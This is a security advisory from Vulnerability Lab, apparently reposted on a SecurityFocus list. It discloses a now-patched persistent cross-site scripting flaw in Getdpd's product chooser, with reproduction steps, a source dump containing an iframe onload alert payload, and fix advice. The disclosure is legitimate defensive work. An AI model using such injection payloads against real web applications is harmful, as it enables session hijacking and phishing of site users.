Getdpd Bug Bounty #1 - (asm0option0) Persistent Web Vulnerability Feb 03 2016 12:42PM
Vulnerability Lab (research vulnerability-lab com)
Document Title:
Getdpd Bug Bounty #1 - (asm0option0) Persistent Web Vulnerability

References (Source):

ID: #14770

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Product & Service Introduction:
DPD is an all-in-one shopping cart and digital fulfillment service for downloadable products. Serving thousands of stores, DPD processes and
delivers millions worth of downloads each year.

(Copy of the Vendor Homepage: https://getdpd.com/security )

Abstract Advisory Information:
The Vulnerability Laboratory Research team discovered an application-side input validation web vulnerability in the official Getpdp online service web-application.

Vulnerability Disclosure Timeline:
2015-08-06: Researcher Notification & Coordination (Hadji Samir - Evolution Security GmbH)
2015-08-07: Vendor Notification (DPD Security Team - Bug Bounty Program)
2015-09-02: Vendor Response/Feedback (DPD Security Team - Bug Bounty Program)
2016-01-07: Vendor Fix/Patch (DPD Developer Team)
2016-02-02: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Affected Product(s):
DPD - Digital Product Delivery
Product: DPD Online Service (Web-Application) 2015 Q3

Exploitation Technique:

Severity Level:

Technical Details & Description:
An application-side cross site scripting web vulnerability has been discovered in the official Getdpd online service web-application.
The security vulnerability allows remote attackers to inject own script code to the application-side of the affected application module.

The vulnerability is located in the input value id asm0option0 of the Button/Link creator module. Remote attackers with low privilege
web-application user accounts are able to inject own malicious script code via POST method request. The injection point is the vulnerable
id parameter with the title input and the execution point is located in storefront/productchooser?method=cart module. The request method
to inject is POST and the vulnerability is located to the application-side of the vulnerable service.

The security risk of the application-side cross site vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.9.
Exploitation of the persistent input validation web vulnerability requires a low privilege web-application user account and low or medium user interaction.
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source
and persistent manipulation of affected or connected application modules.

Request Method(s):
[+] POST

Vulnerable Service(s):
[+] getdpd.com

Vulnerable Module(s):
[+] Button/Link creator

Vulnerable Parameter(s):
[+] storefront/productchooser?method=cart (asm0option0)

Proof of Concept (PoC):
The security vulnerability can be exploited by remote attackers with low privilege web-application user account and low or medium user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Create new product with payload code( injection code)
2. Click to creat Button/link creator (https://getdpd.com/storefront/deploy)
3. Click Product Chooser (https://getdpd.com/storefront/productchooser?method=cart)
4. Product Chooser
5. The payload code will execute!

PoC: Source
<div class=``grid_8 omega``>
<div class=``box-header info``>Product Chooser</div>
<div class=``box info``>Add products to your chooser using the pulldown on the left. Once added to the display below, sort them as you like by dragging and dropping. Click on a button to use it. Click on it again to remove it. When you don't use a button, selecting from your chooser will automatically send you to the cart (or buy now). Once you have it the way you like, copy the code and paste it on your site.

<div class=``amselect-container`` style=````>
<div class=``asmContainer`` id=``asmContainer0``><select class=``asmSelect`` name=``asmSelect0`` id=``asmSelect0``><option selected=``selected``>undefined</option><option value=``https://getdpd.com/v2/cart/add/23787/114595/121094`` rel=``asm0option0`` class=````>``> ($1.00)</option><option value=``https://getdpd.com/v2/cart/add/23787/114625/121125`` rel=``asm0option1`` class=``asmOptionDisabled`` disabled=``disabled``>``> ($1.00)</option></select><span class=``asmHighlight`` id=``asmHighlight0`` style=``display: none;``>Added: ``><iframe src=``./Pulldown Builder DPD Shopping Cart_files/c.html`` onload=``alert(``xss_by_samir``)``> ($1.00)</iframe></span><ol class=``asmList ui-sortable asmListSortable`` id=``asmList0``><li rel=``asm0option1`` class=``asmListItem`` style=``height: 22px;``><span class=``asmListItemLabel``>``><iframe src=``c`` onload=alert(``xss_by_samir``)> ($1.00)</span><a href=``https://getdpd.com/storefront/productchooser?method=cart#`` class=``asmListItemRemove``>remove</a></li></ol><select name=``product_ids[]`` id=``product_ids`` multiple=``multiple`` style=``display: none;``>

<option value=``https://getdpd.com/v2/cart/add/23787/114595/121094`` id=``asm0option0``>``><iframe src=``c`` onload=alert(``xss_by_samir``)> ($1.00)</option><option value=``https://getdpd.com/v2/cart/add/23787/114625/121125`` id=``asm0option1`` selected=``selected``>``><iframe src=``c`` onload=alert(``xss_by_samir``)> ($1.00)</option></select></div> </div>

Generated Code:
<textarea id=``html-code``>


Solution - Fix & Patch:
The vulnerability can be patched by a secure parse and encode of the vulnerable input fields. Restrict the input and disallow usage of special chars.
Filter and setip a secure exception handling that prevent the persistent execution in the output location.

Security Risk:
The security risk of application-side input validation web vulnerability in the frontend of the getdpd web-application is estimated as medium. (CVSS 3.6)

Credits & Authors:
Vulnerability Laboratory [Research Team] - Hadji Samir [samir (at) evolution-sec (dot) com [email concealed]] [www.vulnerability-lab.com] (http://www.vulnerability-lab.com/show.php?user=Hadji%20Samir)

Disclaimer & Information:
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either
expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers
are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even
if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation
of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break
any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: admin (at) vulnerability-lab (dot) com [email concealed] - research (at) vulnerability-lab (dot) com [email concealed] - admin (at) evolution-sec (dot) com [email concealed]
Section: dev.vulnerability-db.com - forum.vulnerability-db.com - magazine.vulnerability-db.com
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
(admin (at) vulnerability-lab (dot) com [email concealed] or research (at) vulnerability-lab (dot) com [email concealed]) to get a permission.

Copyright © 2016 | Vulnerability Laboratory [Evolution Security]

SERVICE: www.vulnerability-lab.com
CONTACT: research (at) vulnerability-lab (dot) com [email concealed]
PGP KEY: http://www.vulnerability-lab.com/keys/admin (at) vulnerability-lab (dot) com [email concealed]%280x19

[ reply ]


Privacy Statement
Copyright 2010, SecurityFocus